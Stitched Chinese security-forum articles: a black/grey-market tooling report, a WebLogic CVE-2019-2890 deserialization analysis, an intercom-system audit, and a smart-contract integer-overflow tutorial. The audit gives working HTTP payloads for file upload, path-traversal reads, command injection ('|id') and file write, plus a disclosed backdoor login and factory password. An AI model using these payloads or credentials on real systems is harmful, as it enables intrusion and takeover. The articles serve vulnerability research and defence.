内容爬取类工具软件主要通过爬虫程序，采集电商数据、短视频用户作品、招聘网站简历和自媒体文章等。近期我们就发现有多款工具软件对拼多多的商品信息、店铺信息、拼团信息等数据进行爬取。以“拼多多精灵”为例，该工具软件通过请求apiv4.yangkeduo.com下的接口来爬取拼多多数据，
提供开团提醒、关键词排名、类目排名、导出订单、物流监控、退款提醒、竞品对手监控等功能：
图3-2-3 拼多多精灵截图1
图3-2-4 拼多多精灵截图2
内容爬取类工具软件的牟利方式包括：1、利用采集的拼多多数据，提供数据分析服务和店铺管理服务获利，包括关键词排名、商品排名、开团监控、一键下订单、一键发货和多个店铺管理等；2、当店家在使用这些工具时，很可能导致订单数据泄露，黑灰产可以通过出售这些数据或利用数据进行营销和诈骗等来获利。
下表是近期我们监控到的比较活跃的内容爬取类工具软件：
工具名称
|
活跃度
---|---
多多管家
|
高
多多参谋
|
高
麦兜兜/单手街/笨笨代购
|
中
多多易赞
|
中
神马上货助手
|
中
表3-2-4 内容爬取类工具软件
### 3.5特定功能类工具软件
特定功能类工具软件主要包括模拟器、多开、改机和秒拨等功能工具软件，常见应用于注册账号、邀请新用户领取红包、刷赞、刷分享、刷评分和刷榜等场景。特定功能类工具软件种类和数量不多，但是黑灰产业链中也发挥着极其关键的作用。
以改机软件“海鱼魔器”为例，在抖音引流这个场景，利用改机可以伪造位置，利用抖音附近视频的功能做引流，诱导附近看到视频的人添加微信小号。
图3-5-1、图3-5-2
如上图，借助改机软件将所在地点修改到人流量多的广州火车站，然后通过抖音上传“精心”制作的美女视频或图片，并配上包含微信号的文字，最终将上钩的男性用户定向引流至销售男性用品的微商，或被诱导发红包观看色情视频，最终上当受骗。
特定功能类工具软件虽然不参与直接牟利，但提供的功能可以帮助黑灰产更好的攫取利益。比如改机工具，除了上面提到的引流场景外，在账号注册场景也很重要，可以实现一个设备多次复用的效果。下表是近期我们监控到的比较活跃的特定功能类工具软件：
工具名称
|
活跃度
---|---
深海鱼乐
|
中
iGrimace
|
高
007 改机
|
中
NTZ
|
中
AWZ
|
中
表3-5 活跃的特定功能类工具
## 四、典型的黑灰产工具软件分析
过去半年我们对黑灰产工具软件做了大量的研究和分析，包括对其中一些工具软件做了深入的功能验证、动态调试和原理分析。我们选取几款比较典型的工具软件，进一步揭露其功能和原理。
### 4.1.B站手机注册机 3.0
这是6月份捕获的一款针对B站的注册类工具软件，采用C++语言编写。通过使用接码平台手机号接收手机验证码，同时内置深度学习框架Caffe识别图像验证码，完成帐号批量注册。
程序运行界面如下图：
图4-1-1 B站手机注册机运行界面
程序会登录接码平台：
<http://www.7gxyun.com:9000/soft.html>
接收短信验证码，接着调用B站注册接口：
<https://passport.bilibili.com/register/phone>
以及验证码下发接口:
<https://passport.bilibili.com/captcha>
提取到验证码，如下图：
之后该工具会使用内置的深度学习框架Caffe
识别图片验证码。识别验证码的过程会读取本地内置深度学习框架Caffe框架所需要的3个文件：deploy.prototxt，res_lstm_ctc_iter.caffemodel，label-map.txt。其中deploy.prototxt部分代码如下：
图4-1-2 deploy.prototxt代码截图
图像验证码识别成功后，完成帐号注册。
该工具的亮点我们以往看到的工具不一样的地方的是用到了深度学习的图像识别能力，并且这个图像识别的准确率达到了99%以上，平均完成一个账号的注册时间大约在10秒内。以往这一类的注册工具绝大多数会接一个打码平台或者内置一个针对目标网站的一个验证码识别库，无论是从识别准确率还是注册效率远比利用深度学习图像识别的低很多。
图4-1-3 深度学习运用于验证码识别
### 4.2.陌陌抢红包工具
这是7月份捕获的一款针对陌陌的抢红包类工具软件，基于按键精灵安卓版实现。通过自定义录制对手机屏幕的操作及重复次数等信息，按照一定模式进行对手机进行模拟操作从而实现抢红包等功能。工具运行如下图所示：
图4-2-1 陌陌抢红包工具运行界面
黑灰产人员只需要在按键精灵安卓版上编写相关的逻辑脚本，即可实现模拟用户操作的动作去实现他们想要的功能，按键精灵安卓版运行界面如下图所示：
图4-2-2 按键精灵安卓版运行界面
用户在点“录制”之后，就可以先手动操作一遍想要操作的功能，之后该软件会记录下用户操作的坐标轨迹，如下图所示：
图4-2-3 按键精灵安卓版运行界面
我们在分析的时候发现，该抢红包工具内置了工具需要的一些资源，包括识别出现红包时的图像，如下图所示：
图4-2-4 陌陌抢红包工具内置的图片资源
软件在后台运行，通过查找整个手机屏幕上满足上述截图图像所在的坐标，然后再模拟用户去点击操作，从而达到抢红包的目的。
### 4.3. 58全职VIP发帖软件
这是8月份捕获的一款针对58同城的自动发帖类工具软件，该工具的原理是通过破解58发帖相关接口来实现。在调用相关接口的时候，软件会把接口所需要的参数拼接一起然后再向服务器请求。在该软件中实现调用的接口包括：登陆、发帖、获取展示中的帖子、未展示帖子、已删除帖子、审核帖子、获取未读简历等。我们以发帖这一功能来说明该软件的工作原理，其他接口调用类似。该工具软件运行的界面如下图所示：
图4-3-1 58全职VIP发帖软件运行界面
界面上会有很多发帖的相关设置，这些设置是黑灰产人员在分析58发帖的接口之后提取出来的，用户需要操作的一些变量值（包含发帖的省份、城市、街道、帖子标题、帖子职位等接口所需要的一些参数）。如下所示为我们构造的VIP用户发招聘帖捕获到的接口信息：
图4-3-2 捕获到的接口信息
以下为接口需要POST的内容（由于该数据经过UrlEncode方式编码，为了方便阅读，展示的是编码前的明文数据）：
图4-3-3 POST的数据内容（编码前）
我们可以看出，上述大部分的内容为用户填写的信息，只要按照发帖的接口格式构造一样的形式数据就可以成功发出帖子，我们可以从这个接口所需要的相关参数看到，58VIP发帖的接口需要的参数非常多，这就要求黑灰产人员具备较强能力的协议接口分析能力，能够分析出哪些是必须的参数，哪些是可有可无的参数，以及哪些是风控系统必须检测的参数，和参数的值是否加密。如果加密，则需要黑灰产人员破解加密算法之后，再计算出新的参数值以此绕过风控系统的检测。除了上述的发帖接口，其他接口调用的形式和上述大同小异。
## 五、结束语
黑灰产工具软件是网络黑灰产业发展的必然产物，黑灰产业会随着互联网的发展而发展，黑灰产工具软件也会随着黑灰产业的发展而发展。基于此，我们抛出以下观点，希望能引起行业共鸣，并与大家一起探讨和思考。
1、从黑产视角出发，建设黑灰产工具软件的全面监控和快速响应能力。通过对黑灰产业的长期跟进，我们对于黑灰产工具的传播链条和路径有了比较深入的理解和认知，可以第一时间捕获到网络中活跃的黑灰产工具，并第一时间分析其危害和原理。我们希望通过合作的方式，帮助更多的厂商建立这方面的能力。
2、建立黑灰产工具软件指纹库，增强风险设备识别能力。传统的设备指纹方案由于存在激烈的对抗，识别风险设备的效果并不理想；另一方面，风险设备往往会安装各种各样的黑灰产工具软件，通过提取这些黑灰产工具软件的特征作为指纹，可以有效的识别出风险设备。
3、建立行业的黑灰工具软件情报共享，最大化情报价值。根据我们的观察，工具软件的作者、传播渠道、以及使用者存在交集。以电商抢购为例，我们在跟进针对淘宝的抢购工具时，发现该工具的使用者，很多也会同时使用京东，苏宁，唯品会，华为等商城的抢购工具，从而达到利益的最大化。也就是我们第2点提到的黑灰产工具软件指纹库，其实是可以行业共享的，而我们也一直致力于解决黑灰产情报，包括工具软件情报的数据孤岛问题。
写在最后：
如果说黑灰产代表着黑夜，我们只有在黑夜中不断的探索和前行，才有可能迎来光明，与诸位共勉。 | 社区文章 |
**作者：Lemon@平安银河安全实验室
公众号：[WebLogic
反序列化漏洞(CVE-2019-2890)分析](https://mp.weixin.qq.com/s?__biz=MzIwNTcxNTczMQ==&mid=2247484313&idx=1&sn=e2fb990c404776ae3126c2b31c78acfd&chksm=972de3e5a05a6af3910463e4a51cb814f33e0a7c7bbf4b40240a9da804f6c5fb1a108593ae47&mpshare=1&scene=1&srcid=1101Oy6BoKWAH30I073wxFyL&sharer_sharetime=1572594005245&sharer_shareid=54b578ae6292d46346149e4cb8ba012b&key=2bbffe7bbfb7d31b83c5cbb0673a37dff008c87628e2b0afa361f0d89590fbe9587c592973e5231a1f50f9afd97bf5f7ae340e32be735a3afca12d95ce3e6d782a02dfe29a6c1797ddaff7ab52e30515&ascene=1&uin=MzM5ODEzOTY3MQ%3D%3D&devicetype=Windows+10&version=62060833&lang=zh_CN&pass_ticket=pqMeVE3dJOKEVHbro%2BnYr7GwYEVqCRiP3DBRNPJ6e32rKlDWo3hKaAZK75MuqZ1j
"分析")**
## **漏洞简介**
2019年10月16日，WebLogic官方发布了安全补丁公告，修复了包含CVE-2019-2890等高危漏洞。Weblogic在利用T3协议进行远程资源加载调用时，默认会进行黑名单过滤以保证反序列化安全。漏洞CVE-2019-2890绕过了Weblogic的反序列化黑名单，使攻击者可以通过T3协议对存在漏洞的Weblogic组件实施远程攻击，但该漏洞利用条件较高，官方也归类为需要身份认证。
## **影响版本**
WebLogic Server 10.3.6.0
WebLogic Server 12.1.3.0
WebLogic Server 12.2.1.3
## **漏洞分析**
漏洞代码位于weblogic.jar中weblogic.wsee.jaxws.persistence.PersistentContext.class文件，它的readObject函数调用了readSubject函数，readSubject函数中使用了ObjectInputStream.readObject来反序列化对象。
查看对应的writeObject的逻辑，只要我们给对应的localObjectOutputStream.writeObject()序列化一个恶意对象，则PersistentContext对象被反序列化时，它的readObject函数被调用，readSubject函数中对恶意对象进行反序列化。因此通过T3发送精心伪造的PersistentContext对象，则可成功绕过黑名单检查。
## **漏洞复现**
为了让writeObject函数中的localObjectOutputStream.writeObject()序列化一个恶意对象，我们直接对PersistentContext类进行修改。
打开idea新建一个项目，引入需要的Jar文件。在项目中新建一个package，名为weblogic.wsee.jaxws.persistence，在这个包下创建PersistentContext.class文件，复制原来的内容进行修改。
我们在PersistentContext.class文件中新增一个getObject()函数，用于获取恶意对象。然后把localObjectOutputStream.writeObject()函数的参数替换。
然后在项目中创建一个Poc.class文件，新建PersistentContext对象对其进行序列化操作，序列化后存储到poc文件中。
此时我们使用T3发送payload发现靶机日志提示报错：
根据报错提示定位到代码，发现readSubject函数中有个解密过程：
此时我们再次检查writeSubject函数，猜测序列化时加密没有成功，导致反序列化时解密报错：
跟进加密函数：
由于我们idea建立的项目中没有SerializedSystemIni.dat文件，直接返回null，因此加密没有成功，导致反序列化失败。
因此我们需要修改writeSubject()函数，但由于getEncryptionService属性为private，需再新建EncryptionUtil.class文件,把getEncryptionService()函数属性改成public：
并且把SerializedSystemIni.dat文件复制到我们idea项目中。由于SerializedSystemIni.dat是密钥文件，各不相同且无法猜解，这里也就是这个漏洞需要身份认证的原因。
此时再测试发送payload，可爱的计算器成功弹出。
## **安全建议**
1、禁用 T3 协议：如果您不依赖 T3 协议进行JVM通信，可通过暂时阻断 T3 协议缓解此漏洞带来的影响。
2、排查弱口令
3、升级补丁
## **相关链接**
<https://www.oracle.com/security-alerts/cpuoct2019.html>
* * * | 社区文章 |
# 某网络广播对讲设备审计
## 0x00 前言
在校内网中碰见这套网络对讲设备系统,遂对其进行稍微细致的审计.(挺无语的 这套系统洞真多)
通过已知漏洞扒拉下来源码.
## 0x01 前台任意文件上传
### 上传点1
定位到几处文件上传操作：
**/upload/my_parser.php**
Payload:[生成的文件:/upload/files/info.php]
POST /upload/my_parser.php HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 216
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTj3WLQhN3ZSs0CAg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/upload/my_parser.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundaryAgwuKUMd2jB55NEm
Content-Disposition: form-data; name="upload"; filename="info.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryAgwuKUMd2jB55NEm--
### 上传点2
**/php/addscenedata.php**
Payload:[生成的文件:/images/scene/info.php]
POST /php/addscenedata.php HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 216
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRdOoAbqBRCt5Bgzj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/php/addscenedata.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundaryAgwuKUMd2jB55NEm
Content-Disposition: form-data; name="upload"; filename="info.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryAgwuKUMd2jB55NEm--
**嫌麻烦的话可以直接访问/upload/upload.html上传** (/upload/files/info.php)
## 0x02 前台任意文件读取
### 读取点1
定位到一处文件读取操作. **/php/getjson.php**
Payload:
POST /php/getjson.php HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 42
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://x.x.x.x/php/getjson.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
jsondata[filename]=../php/test.php
### 读取点2
**/php/rj_get_token.php**
Payload:
POST /php/rj_get_token.php HTTP/1.1
jsondata[url]=test.php
用php伪协议读取文件:
POST /php/rj_get_token.php HTTP/1.1
jsondata[url]=php://filter/read=convert.base64-encode/resource=backup.php
## 0x03 前台任意命令执行
定位到一处命令执行.
Payload:
POST /php/ping.php HTTP/1.1
jsondata[type]=0&jsondata[ip]=|id
## 0x04 前台任意文件写入
定位到一处 **file_put_contents** /php/uploadjson.php
Payload:
POST /php/uploadjson.php HTTP/1.1
jsondata[filename]=../ppp.php&jsondata[data]=123
## 0x05 前台任意文件下载
定位到三处文件读取操作 十分可疑.
GET传入downname即可下载任意文件.
**Payload: /php/exportrecord.php?downname=test.php**
## 0x06 未授权访问
**通读源码时发现，这套系统里还包含一些有趣的东西.**
### 智慧xx
**访问/prison/index.html进入**
### 系统维护
**访问 /html/system.html 进入**
### 厂家维护
**访问 /html/factory.html 进入 解锁密码:Rdc070#**
## 0x07 后门账户
在 /js/index.js | /php/login.php 中放置了后门账户 可导致恶意登录
**administrator 800823**
<?php
require_once ('conversion.php');
$postData = $_POST['jsondata'];
$arr['res'] = 0;
if (isset($postData['username'])) {
$user = $postData['username'];
$pass = $postData['password'];
if ('800823' == $pass && 'administrator' == $user)
{
$arr['username'] = 'administrator';
$arr['password'] = '800823';
$arr['display'] = 'administrator';
$arr['modules'] = '1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1';
$arr['rights'] = '*';
$arr['serverrights'] = '*';
$arr['isadmin'] = '1';
$arr['bindterminals'] = '';
$arr['res'] = 1;
$arr['mainurl'] = 'main';
$arr['token'] = 'SESSION';
echo JSON($arr);
}
else
{
$result = UdpSendAndRecvJson($postData, "login");
echo $result;
}
}
?>
var user = $('#tbuser').val();
var passwd = $('#tbpass').val();
var isencrypted = "0";
if (user == "administrator" && passwd == "800823") {
isencrypted = "0";
} else {
var b = new SPON_Base64("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="); //标准base64
passwd = b.encode(passwd).split("").reverse().join(""); //反转
isencrypted = "1";
}
## 0x08 总结
这套系统大部分文件均未授权,无需登录后台,可利用接口进行任意操纵。
这里就不细究了. | 社区文章 |
## 前言
本次给大家带来一个“智能合约审计”系列的技术分享专题，希望对大家有所帮助，也欢迎各位一起探讨与研究。
## 基础内容
### 合约
合约，常被称为“契约”，其为一种“合意”，依此合意，一人或数人对于其他一人或数人负担给付、作为或不作为的债务。从本质上来说，合约是双方当事人的“合意”，是双方当事人以发生、变更、担保或消灭某种法律关系为目的的协议。新婚燕尔，一纸婚约是为合约；你借我贷，劳动雇佣是为合约....合约无处不在，协议遍布丛生。
### 智能合约
“智能合约（Smart Contract）”的概念由计算机科学家、加密大师尼克·萨博（Nick
Szabo）在1993年提出来，1994年他写成《智能合约》论文，那是智能合约的开山之作。
作为一位因为比特币打下基础而受到广泛赞誉的密码学家，尼克·萨博为智能合约下的定义如下：“一个智能合约是一套数字形式定义的承诺（Promises）,包括合约参与方可以在上面执行这些承诺的协议。”
**（1）数字形式**
数字形式意味着合约需要被写入计算机可执行的代码中，只要参与者达成协定，智能合约建立的权利和义务就由一台计算机或计算机网络执行。
a.达成协定。智能合约的参与方在什么时候达成协定，取决于特定的智能合约实施。一般而言，当参与方通过在合约宿主平台上安装合约，致力于合约的执行时，合约就被发现了。
b.合约执行。“执行”的真正意思依赖于实施。一般而言，执行意味着通过技术手段积极实施。
c.计算机可读的代码。合约需要的特定“数字形式”，非常依赖于参与方同意使用的协议。
**（2）协议**
协议是技术实现（technical
implementation）,在这个基础上，合约承诺被实现，或者合约承诺实现被记录下来。选择哪个协议取决于许多因素，最重要的因素是————在合约履行期间被交易资产的本质。
以销售合约为例，假设参与方同意货款以比特币支付，选择的协议很明显将会是比特币协议，在此协议上，智能合约被实施。因此，合约必须要用到的“数字形式”就是比特币脚本语言。比特币脚本语言是一种“非图灵完备”的、命令式的、基于栈的编程语言。
萨博认为，智能合约的基本理念是，许多合约条款能够嵌入硬件和软件中。嵌入式合约最初的应用实例是自动售货机、销售点终端、大公司间的电子数据交换和银行间用于转移和清算的支付网络SWIFT、ACH、FedWire。另一个嵌入式合约的例子是数字内容消费，如音乐、电影和电子书等领域的数字版权管理机制。
### 智能合约的基本架构
智能合约使用solidity编程语言编写，Solidity的语法类似于JavaScript，整体比较好上手，一般一个智能合约基本架构如下：
### 数据类型&&修饰器&&函数
在对使用了solidity编程语言编写的智能合约审计之前，我们需要先认识一些solidity中的基本知识：
#### 数据类型：
**Solidity中主要数据类型有以下几种：**
**（1）布尔数据类型**
布尔数据类型使用bool来表示，可能的取值一共有两种：true、false。
**_支持的运算符有：_** ！（逻辑非）、&&（逻辑与）、||（逻辑或）、==（等于）、！=（不等于）
**（2）整型**
整型使用int/uint来表示(有符号和无符号整型)。变量支持的步长以8递增，支持从uint8到uint256，以及int到int256。我们平时看到的uint和int默认代表为uint256和int256。
**_支持的运算符有：_**
a.比较：<=、<、==、！=、>=、>，返回值为bool
b.位运算：&、|、^、~
c.数学运算：+、-、*、/、%、**
**(3)地址**
以太坊地址的长度大小为20个字节，160位，所以可以用一个uint160编码。地址是所有合约的基础，所有的合约都会继承地址对象，也可以随时将一个地址串，得到对应的代码进行调用。当然地址代表一个普通账户时，就没有这么多丰富的功能啦。
**_支持的运算符：_** <=、<、==、!=、>=、>
eg: 0xdCad3a6d3569DF655070DEd06cb7A1b2Ccd1D3AF
**(4)数组**
**数组可以分为两大类：定长字节数组、动态大小的字节数组**
**定长字节数组：**
byte1、byte2、byte3、byte4....,允许以步长1递增。byte默认表示byte1。
**_支持的运算符：_**
a.比较:<=、<、==、!=、>=、>，返回值为bool类型。
b.位运算符：&、|、^、~
支持序号的访问，与大多数语言一样，取值范围为【0，n),其中n表示长度。
成员变量.length表示这个字节数组的长度（只读）。
**动态大小的字节数组：**
string：是一个动态尺寸的UTF-8编码字符串，它其实是一个特殊的可变字节数组，string是引用类型，而非值类型。
bytes：动态字节数组，引用类型。
原则：
* bytes用来存储任意长度的字节数据，string用来存储任意长度的UTF-8编码的字符串数据。
* 如果长度可以确定，尽量使用定长的如byte1到byte32中的一个，因为这样更省空间。
**（5）字符串**
字符串使用string来进行描述，字符串字面量是指由单引号，或双引号引起来的字符串。字符串并不像C语言，包含结束符，例如foo这个字符串大小仅为三个字节。
**（6）映射**
映射是一种键值对的映射关系存储结构。定义方式为mapping(_keyType=>_KeyValue)。键的类型允许除映射外的所有类型，如数组，合约，枚举，结构体。值得类型无限制。
映射可以被视作一个哈希表，其中所有可能的键已被虚拟化的创建，被映射到一个默认值（二进制表示的0）。但在映射表中，我们并不存储键的数据，仅仅存储它的keccak256哈希值，用来查找值时使用。
对于数据类型我们这里就仅仅列举这些我们经常看到的，经常用到的数据类型。
#### 修饰器
修改器(Modifiers)可以用来轻易的改变一个函数的行为。比如用于在函数执行前检查某种前置条件。修改器是一种合约属性，可被继承，同时还可被派生的合约重写(override)。下面我们来看一段示例代码：
在上图中的第14~18行定义了一个修饰器，该修饰器限定要求msg.sender必须为合约的owner，否则就抛出异常，该修饰器用到智能合约mortal的close函数中则在函数调用之前修饰器会首先对调用者的身份进行一个检查，判断是否为owner，如果不是，则抛出异常，如果是，则正常执行。
在智能合约当中，修饰器经常可见，而且修饰器的使用一方面简化的代码，另外一方面对于合约中权限的控制起到了清楚的说明。
#### 函数
在智能合约当中，函数为某种操作的执行主体，一个函数的基本结构如下：
实例如下：
## 审计工具
“工欲上其事必先利器”！
### etherscan的使用
我们要进行智能合约的审计，那么我们就必须要有一个审计的目标，然而我们一般获取到的审计目标都是一个地址，那么我们如何通过地址来获取到该地址对应的智能合约的代码呢？这就要使用到以太坊浏览器——Etherscan了，下面我进行简单的介绍：
**1、Eterscan界面介绍**
**2、根据地址查询合约**
**3、合约页面介绍**
注：如果你获得类似于<https://etherscan.io/address/0xB8c77482e45F1F44dE1745F52C74426C631bDD52#code>
这样的信息，你可以直接在浏览器当中打开即可看到对应的智能合约的源码信息。
### Remix的基本使用
Remix是个用于调试开发智能合约的IDE工具，它有在线版与离线版两种，离线版需要你自我搭建环境，自我安装，这里我们直接使用在线版的Remix为大家介绍Remix的使用方法。
**1.Remix的访问**
在浏览器中输入以下地址可以直接开启Remix
[https://remix.ethereum.org/#optimize=false&version=soljson-v0.4.24+commit.e67f0147.js](https://remix.ethereum.org/#optimize=false&version=soljson-v0.4.24+commit.e67f0147.js)
**2.界面介绍**
**3.简易操作**
（1）新建一个项目
（2）编写智能合约内容
（3）编译
**_注：这里你也可以选择“Auto
compile”自动编译，这里你会看到有黄色部分的提示，这里表示有警告，这些警告一般都是与编程规范出现了冲突或者编程者省略了一些无关紧要的内容，不是错误，当变为红色的时候就是错误了，就一定要改！_**
（4）部署
（5）执行函数
之后你会在执行结果栏中看到该参数传入之后执行的最终结果是什么，这里就不再多做解释了！
### Sublime编辑器
Sublime是一框强大的编辑器，笔者这里推荐它的原因是它可以支持solidity代码的高亮显示，这对我们做代码审计来说十分非常非常有帮助的，至于如何配置高亮代码显示，大家可以参考下面的文章，这里就不再多说了：
<https://www.jianshu.com/p/6578897771f5>
## 整型溢出
### 整型溢出原理
计算机中整数变量有上下界，如果在算术运算中出现越界，即超出整数类型的最大表示范围，数字便会如表盘上的时针从12到1一般，由一个极大值变为一个极小值或直接归零。此类越界的情形在传统的软件程序中很常见，但是否存在安全隐患取决于程序上下文，部分溢出是良性的（如tcp序号等），甚至是故意引入的（例如用作hash运算等）。
以太坊虚拟机（EVM）为整数指定固定大小的数据类型。这意味着一个整型变量只能有一定范围的数字表示。例如，一个 uint8 ，只能存储在范围 [0,255]
的数字。试图存储 256 到一个 uint8 将变成
0。不加注意的话，只要没有检查用户输入又执行计算，导致数字超出存储它们的数据类型允许的范围，Solidity 中的变量就可以被用来组织攻击。
### 整型溢出实例
#### 乘法溢出：
**案例：CVE-2018-10299** （<https://nvd.nist.gov/vuln/detail/CVE-2018-10299）>
这里只拿出里面存在漏洞的一部分代码作为讲解
如上图所致，在该合约当中的第24行，在计算需要转账的总额度amount时未使用SafeMath函数进行溢出检查，直接将转账的地址个数与每个地址接收的代币数量进行乘法操作，如果这里输入极大的value，那么amount的值将有可能发生溢出，导致代币增发。
下面在Remix中进行测试：
**1.编译**
**2.部署**
**3.溢出操作**
调用函数batchTransfer函数，并向batchTransfer函数中传入地址数组["0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db"],以及value的值“0x8000000000000000000000000000000000000000000000000000000000000000”即2的255次方，这样做的目的是为了得到下面的结果：
amout=2**255*2
这样一来amount就超出了uint256数据类型的最大范围[0,2**256-1],发送账户的余额不减少，而接受者账户代币增加，实现了“无中生有”。
批量转账操作：
查看接受者账户余额：
**案例二：** CryptonitexCoin：
合约地址：<https://etherscan.io/address/0x2c0c06dae6bc7d7d7d8b0d67a1f1a47d6165e373#code>
如上图所示，在该智能合约当中的第240行存在整型溢出，由于amount参数可控，我们可以将其构造为一个较大的数值，而且sellPrices的值是由合约的owner来指定的（第226~229行），当合约的owner指定一个非常高的sellPrices的时候，如果我们在使用一较大的amount值与之相乘，那么最后的结果将有可能发生溢出，从而实现“高价低卖”，卖家看似是以很高的价格卖出去了代币，但是却收到的资本却非常的少。这个实例仅仅做说明，不再进行演示。
#### 减法溢出
案例代码如下：
如上图所示，在智能合约中的distribute函数的功能是从owner账户向指定的地址列表传入代币，但是在对balance[owner]的账户做减法运算的时候，未使用SafeMath函数进行数值运算操作，而且也没有判断合约的owner是否有足够的代币，直接一个循环对owner进行减法处理，这里如果转出的代币总量大于owner账户余额，那么balance[owner]将会发生下溢，变成一个极大的值。
在remix中演示如下：
**（1）编译**
**（2）部署**
**（3）下溢操作**
调用distribute函数传入地址数组：
["0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db"]，使用owner分别向这两个地址发送代币。
执行之前owner的余额：
执行distribute函数：
执行之后owner的余额：
可以从上面的结果当中看到合约的owner在执行完distribute函数之后，按理来说转账操作应该会使得合约的owner的代币减少，但是这里去不减反增了，故这里的“下溢”确实存在。
#### 加法溢出
**案例：** GEMCHAIN
合约地址：<https://etherscan.io/address/0xfb340423dfac531b801d7586c98fe31e12a32f31#code>
如上上图所示，该智能合约中的mintToken函数用于增发代币，但是在增发代币的过程中对于加法操作没有使用SafeMath函数进行数值运算操作，而且也没有使用require对是否发生溢出进行检查，故这里存在溢出风险，如果合约的owner给target增发较多数量的mintedAmount那么将会导致溢出问题的发生。
使用remix演示如下：
**（1）编译**
**（2）部署**
**（3）溢出操作**
第一次铸币：
首先，我们先调用mintToken函数向地址“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”铸币，铸币的数量为：
“0x8000000000000000000000000000000000000000000000000000000000000000”即2的255次方
铸币之后地址“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”的余额为：
为了让其发生溢出，我们还需要向地址“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”铸币，铸币的数量仍然为：“0x8000000000000000000000000000000000000000000000000000000000000000”即2的255次方，目的就是为了让2的255次方+2的255次方发生溢出，超出uint256的最大范围。下面具体看操作
第二次铸币：
查看余额：
从上面的结果我们可以发现确实发生了溢出！可想而知，如果合约的owner在不校验溢出问题的情况下向某一地址铸币，那么该地址如果发生溢出，那么代币数量将会发生变化，时而出现减少的情况（因为发生溢出）。
**特殊情况** ：
有时候你会发现虽然我们看到一个合约当中有整型溢出的风险，例如在transfer函数中未使用require进行溢出校验，同时也没有使用SafeMath函数进行数值运算防护的情形，但是该合约当中已经规定了token的总量（totalSupply），而且没有铸币函数（mintToken）另外增加代币，那么合约总体来说是安全的，不存在整型溢出，为什么这样说呢？因为你永远都不会发生两个数值相加超过uint256的情况，但是在这中情况下你就应该将目光放到“乘法溢出”或“减法下溢”的问题上来进行查找，审计是否真的不存在“整型溢出”问题。
**注：**
这里可以给大家给几个GitHub上的罗列出的存在整型溢出漏洞的合约的地址，大家可以使用笔者在本篇文章中描述的方法自己在本地进行一个复现查看，验证是否存在！
1. <https://github.com/sec-bit/awesome-buggy-erc20-tokens/blob/59e167f74a8d7cf48eadf25a75c65e461450aea0/raw/totalsupply-overflow.txt>
2. <https://github.com/peckshield/vuln_disclosure/blob/7a1e99695945220f4bbc10100f72fa7ecb9e0a79/tradeTrap.csv>
3. <https://github.com/BlockChainsSecurity/EtherTokens/blob/6e1e0952bc2a4b213cdc6db6ba7a855d9c776242/GEMCHAIN/mint%20integer%20overflow.md>
4. <https://github.com/dwfault/AirTokens/blob/aff7102887096a6c8d384820835818f445f3401f/Link_Platform__LNK_/mint%20integer%20overflow.md>
## 防范整型溢出问题
那么如何防范这种整型溢出问题呢？官方给出的建议是使用OpenZepplin提供的SafeMath函数库进行数值运算操作，使用SafeMath库函数可以有效的对溢出问题进行检查与防范，SafeMath函数库源代码如下：
Openzeppline:
<https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol>
pragma solidity ^0.5.2;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
